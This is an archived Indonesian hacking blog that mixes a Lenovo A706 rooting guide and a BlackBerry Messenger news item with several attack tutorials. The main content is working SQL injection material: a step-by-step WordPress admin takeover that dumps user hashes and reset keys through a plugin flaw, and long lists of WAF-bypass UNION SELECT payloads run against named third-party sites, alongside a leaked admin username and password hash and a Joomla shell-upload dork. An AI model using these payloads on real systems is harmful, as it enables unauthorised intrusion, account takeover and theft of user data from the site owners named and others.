A Little Piece of n00bCyber World Archive

[CWM][ROOT] Lenovo A706

Tutor kali ini, kita coba untuk ng-root Root Lenovo A706  
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.android-indonesia.com/images/images/lenovo-A706.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://www.android-indonesia.com/images/images/lenovo-A706.jpg" width="135" /></a></div>
 
Persiapan : 
<ol>
<li> Download dan install android SDK kit dari <a href="http://developer.android.com/sdk/index.html" target="_blank">sini</a></li>
<li>Download dan install driver untuk Lenovo A706 dari <a href="https://docs.google.com/file/d/0ByE7JUAJFpCIT3hyYWdtQ2xGQUk/edit?usp=sharing" target="_blank">sini</a></li>
<li>Download dan install driver untuk qualcomm dari <a href="https://docs.google.com/file/d/0ByE7JUAJFpCIR1d6SjhpZkdXSVU/edit?usp=sharing" target="_blank">sini</a></li>
<li>Enable USB debug di HP</li>
</ol>
 
 
 
 
CWM 
<ol>
<li>Download CWM image dari <a href="https://docs.google.com/file/d/0ByE7JUAJFpCISEtBMFI1Y0NmQkk/edit?usp=sharing" target="_blank">sini</a></li>
<li>Extract file recovery.img tersebut di C:\</li>
<li>Jalankan command prompt dan pindah ke C:\</li>
<li>Masuk ke bootloader mode dengan cara ketik adb reboot bootloader</li>
<li>Device akan reboot dan menampilkan logo Lenovo</li>
<li>Pastikan terkoneksi dengan PC dengan ketik fastboot devices dan akan muncul notifikasi device connected di tray bar</li>
<li>Selanjutnya ketik fastboot flash recovery recovery.img untuk memulai proses mengganti dengan CWM recovery</li>
<li>Jika sudah ketik fastboot reboot utk reboot device</li>
<li>Done. Droider sudah terinstall CWM recovery</li>
</ol>
NB: sebelum masuk CWM sebaiknya Droiders: 
<ul>
<li>Matikan device</li>
<li>Tekan kombinasi tombol POWER ON & VOL UP & VOL DOWN</li>
</ul>
Langkah-Langkah Rooting 
<ol>
<li>Download file root dari <a href="https://docs.google.com/file/d/0ByE7JUAJFpCISjdiMVJxaGF0ZFk/edit?usp=sharing" target="_blank">sini</a></li>
<li>Copy ke SDcard device</li>
<li>Masuk CWM</li>
<li>Install update from external sdcard</li>
<li>Pilih file Lenovo_A706_root_buding.zip</li>
<li>Konfirmasi untuk flash</li>
<li>Reboot      </li>
<li>Done</li>
</ol>
Jika langkah terakhir di atas sudah selesai, maka ponsel Droiders sudah rooted 
 
NB : jangan lupa untuk melakukan full backup via CWM agar mempunyai stock ROM di sdcard Droiders

[CWM][ROOT] Lenovo A706

Tutor kali ini, kita coba untuk ng-root Root Lenovo A706 Persiapan : Download dan install android SDK kit dari sini Download dan in...

Apa Kabar BBM untuk Android dan iPhone?

<div class="separator" style="clear: both; text-align: center;">
<a href="http://static.republika.co.id/uploads/images/detailnews/blackberry-messenger-_130604180652-736.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="189" src="http://static.republika.co.id/uploads/images/detailnews/blackberry-messenger-_130604180652-736.jpg" width="320" /></a></div>
 
Apa kabar BBM untuk Android dan iPhone? Pertanyaan itu sepertinya masih 
banyak dilontarkan sebagian pengguna smartphone berbasis sistem operasi 
buatan Google dan Apple yang meminati aplikasi berbagi pesan instan 
tersebut. 
 
Pascakendala yang dialami pada peluncurannya minggu 
lalu, BlackBerry Messenger untuk Android dan iPhone hingga kini masih 
belum jelas nasibnya. Masih seriuskah BlackBerry untuk menggulirkannya? 
 
Sadar
 dengan situasi tidak mengenakan tersebut, BlackBerry berusaha 
menenangkan. Perusahaan asal Kanada ini pun mengklaim masih akan 
berkomitmen 100 persen menghadirkan BlackBerry Messenger (BBM) untuk 
Android dan iPhone meskipun diwarnai dengan beragam kendala seperti 
situasi finansial yang tidak menguntungkan. 
 
"Masih 100 persen 
berkomitmen membawa #BBM untuk Android dan iPhone. Daftar di BBM.com 
untuk mengetahui kapan #BBM4All," tulis BlackBerry di akun Twitter 
resminya. 
 
BBM adalah salah satu aset BlackBerry yang paling 
berharga dan rencananya dirilis untuk versi iPhone dan Android pada 21 
September silam. 
 
Namun, banyaknya aplikasi BBM untuk Android 
yang tidak resmi muncul di dunia maya membuat BlackBerry menunda 
perilisan resminya, demikian Digital Spy. 
 
<a href="http://www.republika.co.id/berita/trendtek/aplikasi/13/10/01/mtz18o-apa-kabar-bbm-untuk-android-dan-iphone" target="_blank">Sumber</a>

Apa Kabar BBM untuk Android dan iPhone?

Apa kabar BBM untuk Android dan iPhone? Pertanyaan itu sepertinya masih banyak dilontarkan sebagian pengguna smartphone berbasis sistem ...

Hack Wordpress [Reset Password] (Manual)

I'll show you How to inject site - word press - And enter to admin panel in Seconds . 
 
lets say we have this vuln site : 
 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=1 </code></div>
</div>
</div>
 
and let's say We extracted column number and admin data [ user and passwors ] by sqli . 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 Union Select 1,(select(@) from (select (@:=0x00),(select (@) from (wp_users) where (@) in (@:=concat(@,0x0a,user_login,0x3a,user_pass,0x3a,user_email))))a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 -- </code></div>
</div>
</div>
 
admin logo : michelsenweb 
admin password : $P$BPXdeAk4qo6ndqQWUJfuRkMOCqi.bJ0 
 
now this password is difficult to crack it 
 
ok now i will show you Easy way to login into the admin panel 
 
first we going to admin panel and press / Lost your password? \ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.site.com/wp-login.php </code></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/U3AEA-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/U3AEA-1.png" width="311" /></a></div>
<div dir="ltr">
<code> </code></div>
<div dir="ltr">
<code>now we will put the admin user we found by injectin : michelsenweb .</code> 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/mSLvQ.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/mSLvQ.png" width="320" /></a></div>
<code> </code></div>
<div dir="ltr">
<code>like this</code> 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/UOrwJ.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/UOrwJ.png" width="292" /></a></div>
<code> </code>now we haven't the admin mail to receive a link to create a new password 
or to get the activation key . 
 
OK see what i will do !!! 
 
now we will extracted user_activation_key by injection that we will use to grate new password 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 UNION SELECT 1,2,3,4,5,group_concat(user_login,0x3a,user_activation_key),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM wp_users </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
now we have the user_activation_key to this admin user : michelsenweb 
 
michelsenweb:ADpMtuhLWYbPSubvKwgx 
 
now we will use this Query to grate new password 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.site.com/wp-login.php?action=rp&key=user_activation_key&login=user_login </code></div>
</div>
</div>
 
replace : user_activation_key by ADpMtuhLWYbPSubvKwgx 
replace : user_login by michelsenweb . 
 
like this 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.site.com/wp-login.php?action=rp&key=ADpMtuhLWYbPSubvKwgx&login=michelsenweb</code></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/WLpdv.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/WLpdv.png" width="320" /></a></div>
<div dir="ltr">
now we get this page to grate now password after we Makes </div>
now password press Reset password</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/OjUVo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/OjUVo.png" /></a></div>
<div class="body">
ok let's try to log into admin panel by our new password</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/ANrW0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/ANrW0.png" width="316" /></a></div>
<div class="body">
aha we now in admin panel and now we can spawned shell</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/CXzih.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="http://i1208.photobucket.com/albums/cc367/Tanpa_Nama_5000_rupiah/CXzih.png" width="320" /></a></div>
<div class="body">
 </div>
<div class="body">
Credit: Egyption HaCker | GHI™</div>
</div>
</div>
</div>
</div>

Hack Wordpress [Reset Password] (Manual)

I'll show you How to inject site - word press - And enter to admin panel in Seconds . lets say we have this vuln site : PHP Code:...

WAF Bypassing For beginners and Easy

First sorry for my english and I make thread about WAF bypassing error For beginners 
 
☆¸.•*☆ How to know if Web Application Firewalls! on/off ☆*•.¸☆ 
 
to know this we will use this statement after site link 
 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>or '1'='1' -- </code></div>
</div>
</div>
 
if Web Application Firewalls! off you only see error normal like 
 
demo 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.marinaplast.com/page.php?id=13 or '1'='1' -- </code></div>
</div>
</div>
 
but if Web Application Firewalls! on you will see error like forbiden and Not Acceptable 
 
demo 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://nbnewsxpress.com/news.php?id=28 or '1'='1' -- </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=1718 or '1'='1' -- </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
☆¸.•*☆ How to inject site with Web Application Firewalls! on ☆*•.¸☆ 
 
I have site after I use order+by to now column count I found it 27 column like this . 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=-1718 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 -- </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
☆¸.•*☆ How to bypassing this error [ forbiden ] ☆*•.¸☆ 
 
you must feltered union select 
 
I Collected to you some of strong waf bypassing 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>+union+distinct+select+ +union+distinctROW+select+ +%2F**/+Union/*!select*/ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/uniUNIONon/**/selSELECTect/**/+/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+ +/*!u%6eion*/+/*!se%6cect*/+ %55nion %53elect union(select(1),2,3)union (select 1111,2222,3333)union  (/*!/**/ SeleCT */ 11) </code></div>
</div>
</div>
 
☆¸.•*☆ demo ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=-1718 +union+distinct+select+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 -- </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
and we know when we used requested Query we will have forbiden 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=-1718+union+distinct+select+ group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2

1,22,23,24,25,26,27 from information_schema.tables where table_schema=database()---- </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
and to bypassing this I Collected to you strong waf bypassing requested Query 
 
☆¸.•*☆ tables ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>group_concat(/*!table_name*/) </code></div>
</div>
</div>
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </code></div>
</div>
</div>
 
☆¸.•*☆ OR ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()-- - </code></div>
</div>
</div>
 
☆¸.•*☆ columns ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>group_concat(/*!column_name*/) </code></div>
</div>
</div>
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>+/*!froM*/ InfORmaTion_scHema.cOlumnS /*!WheRe*/ /*!tAblE_naMe*/=hex table </code></div>
</div>
</div>
 
☆¸.•*☆ OR ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table </code></div>
</div>
</div>
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>/*!froM*/ table-- - </code></div>
</div>
</div>
 
☆¸.•*☆ demo ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=-1718+union+distinct+select+ group_concat(/*!table_name*/),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
Oh forbiden but don't wory this mean the problem in concat 
 
ok let's delet group and bypassing concat like this /*!50000cOnCat*/ 
 
☆¸.•*☆ OR ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>/**//*!12345cOnCat*/ /*!50000cOnCat*/(/*!*/)CoNcAt()concat%00() CON%08CAT() %00CoNcAt() </code></div>
</div>
</div>
 
☆¸.•*☆ demo ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=-1718+union+distinct+select+/*!50000cOnCat*/(/*!table_name*/),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
Or we can use concat_ws(0x3a3a3a,) like this 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://www.avmaniacs.com/review.php?id=-1718+union+distinct+select+concat_ws(0x3a3a3a,/*!table_name*/),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- - </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
☆¸.•*☆ OR ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>concat(0x3a,,0x3c62723e)/*!concat_ws(0x3a,)*/CONCAT_WS(CHAR(32,58,32),) </code></div>
</div>
</div>
 
☆¸.•*☆ method 2 BoF+Attacks ☆*•.¸☆ 
 
we can use BoF+Attacks Query to bypassing error forbiden and 500 Internal server error too 
 
let's see 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.bryansmarine.com/details.php?id=319 union select 1 </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
now to Skip this error 500 Internal server error or 500 forbiden we use BoF+Attacks Query 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>+And(select 1)=(select 0x4141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414
1414141)+ </code></div>
</div>
</div>
 
If this Query doesn't work we can use this Query [ 1000 of A ] 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>+and (/*!select*/ 1)=(/*!select*/ 0xAA)+ </code></div>
</div>
</div>
 
ok now we will put this Query befor union select to bypassing erro 
 
☆¸.•*☆ demo ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.bryansmarine.com/details.php?id=319+And(select 1)=(select 0x4141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414
1414141)+union select 1 </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
aha now we have this error 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>Unknown table 'articles' in field list </code></div>
</div>
</div>
it's mean column count is not right now we try play with number of column 
any way I found column count it's 35 # 
 
☆¸.•*☆ demo ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>www.bryansmarine.com/details.php?id=319+And(select 1)=(select 0x4141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414
1414141)+union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35-- </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
☆¸.•*☆# 400 bad request # thx benzi # ☆*•.¸☆ 
 
If we have error 400 bad request like this 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>tibikra.huntscape.lt/highscore/personal.php?name=lauras469' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,
29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 +--+/ </code></div>
</div>
</div>
 
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
 
it's mean : Your browser sent a request that this server could not understand . 
and to bypassing this erro 
 
first we need to know from where this error begin do like this 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>tibikra.huntscape.lt/highscore/personal.php?name=lauras469' union </code></div>
</div>
</div>
 
nothing happening no 400 bad request error 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>tibikra.huntscape.lt/highscore/personal.php?name=lauras469' union select </code></div>
</div>
</div>
 
nothing happening no 400 bad request error 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>tibikra.huntscape.lt/highscore/personal.php?name=lauras469' union select 1 +--+/ </code></div>
</div>
</div>
 
nothing happening no 400 bad request error 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>tibikra.huntscape.lt/highscore/personal.php?name=lauras469' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +--+/ </code></div>
</div>
</div>
 
nothing happening no 400 bad request error 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>tibikra.huntscape.lt/highscore/personal.php?name=lauras469' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +--+/ </code></div>
</div>
</div>
 
Oh 400 bad request error 
now we know this error begining from column 19 that's appear no error 
and to bypassing this error we will add --+%0A after nomber of column 
like this 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>19--+%0A,20--+%0A,21--+%0A  etc .... </code></div>
</div>
</div>
 
☆¸.•*☆ demo ☆*•.¸☆ 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code>http://tibikra.huntscape.lt/highscore/personal.php?name=lauras469'and false UNION select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+%0A,20--+%0A,21--+%0A,22--+%0A,23--+%0A,24--+%0A,25--+%0A,26--+%0A,27--+%0A,28--+%0A,29--+%0A,30--+%0A,31--+%0A,32--+%0A,33--+%0A,34--+%0A,35--+%0A,36--+%0A,37--+%0A,38--+%0A,39--+%0A,40--+%0A,41--+%0A,42--+%0A,43--+%0A,44--+%0A,45--+%0A,46--+%0A,47--+%0A,48--+%0A,49--+ </code></div>
</div>
</div>
 
hackforums.net

WAF Bypassing For beginners and Easy

First sorry for my english and I make thread about WAF bypassing error For beginners ☆¸.•*☆ How to know if Web Application Firewalls! on/o...

Joomla | NEW Shell Upload Vulnerability

Tanpa basa-basi :D (malas ngetik) Google Dork: inurl:index.php?option=com_fabrik > Upload Shell Lokasi shell: www.site.com/media/...

Bypass Forbidden (WAF) @>Sql Injection

Sore para pentester :p 
udah lama g update blog cupu ini.. 
bru ad wktu soalx ckckckc... 
 
kali ini ane mau share beberapa cheat utk bypass WAF (Web Application Firewall) [nemu jg] wkwkwk 
cekidott.. 
<blockquote class="tr_bq"><ol><li>1+Union+/*!select*/+1,2,3--</li>
<li>1+/*!union*/+all+/*!select*/!+1,2,3--</li>
<li>1+/**//*!union*//**//*!select*//**/+1,2,3-- </li>
<li>1+union++++all++++select/+1,2,3--</li>
<li>1+/union+%23%0aselect/+1,2,3-- </li>
<li>1+/**/union/**/all/*!50000select*/+1,2,3--</li>
<li>1+union+distinct+select+1,2,3-- </li>
<li>1+/*!union*/+/*!50000SELECT*/+1,2,3--</li>
<li>1+UNION ALL/*!50000SELECT ALL 1 */+1,2,3-- </li>
<li>1+un/**/ion+se/**/lect+1,2,3-- </li>
<li>1+uni%0Bon+se%0Blect+1,2,3-- </li>
<li>1+UNunionION+SEselectLECT+1,2,3--</li>
<li>1+UnIoN/**/SeLecT/**/1,2,3--</li>
<li>1+un/**/ion+se/**/lect+1,2,3--</li>
</ol></blockquote> 
NB: tidak semuanya bsa di bypass dgn cheat diatas,.. semua tergantung admin web :) 
 
#selesai

Bypass Forbidden (WAF) @>Sql Injection

Sore para pentester :p udah lama g update blog cupu ini.. bru ad wktu soalx ckckckc... kali ini ane mau share beberapa cheat utk bypass ...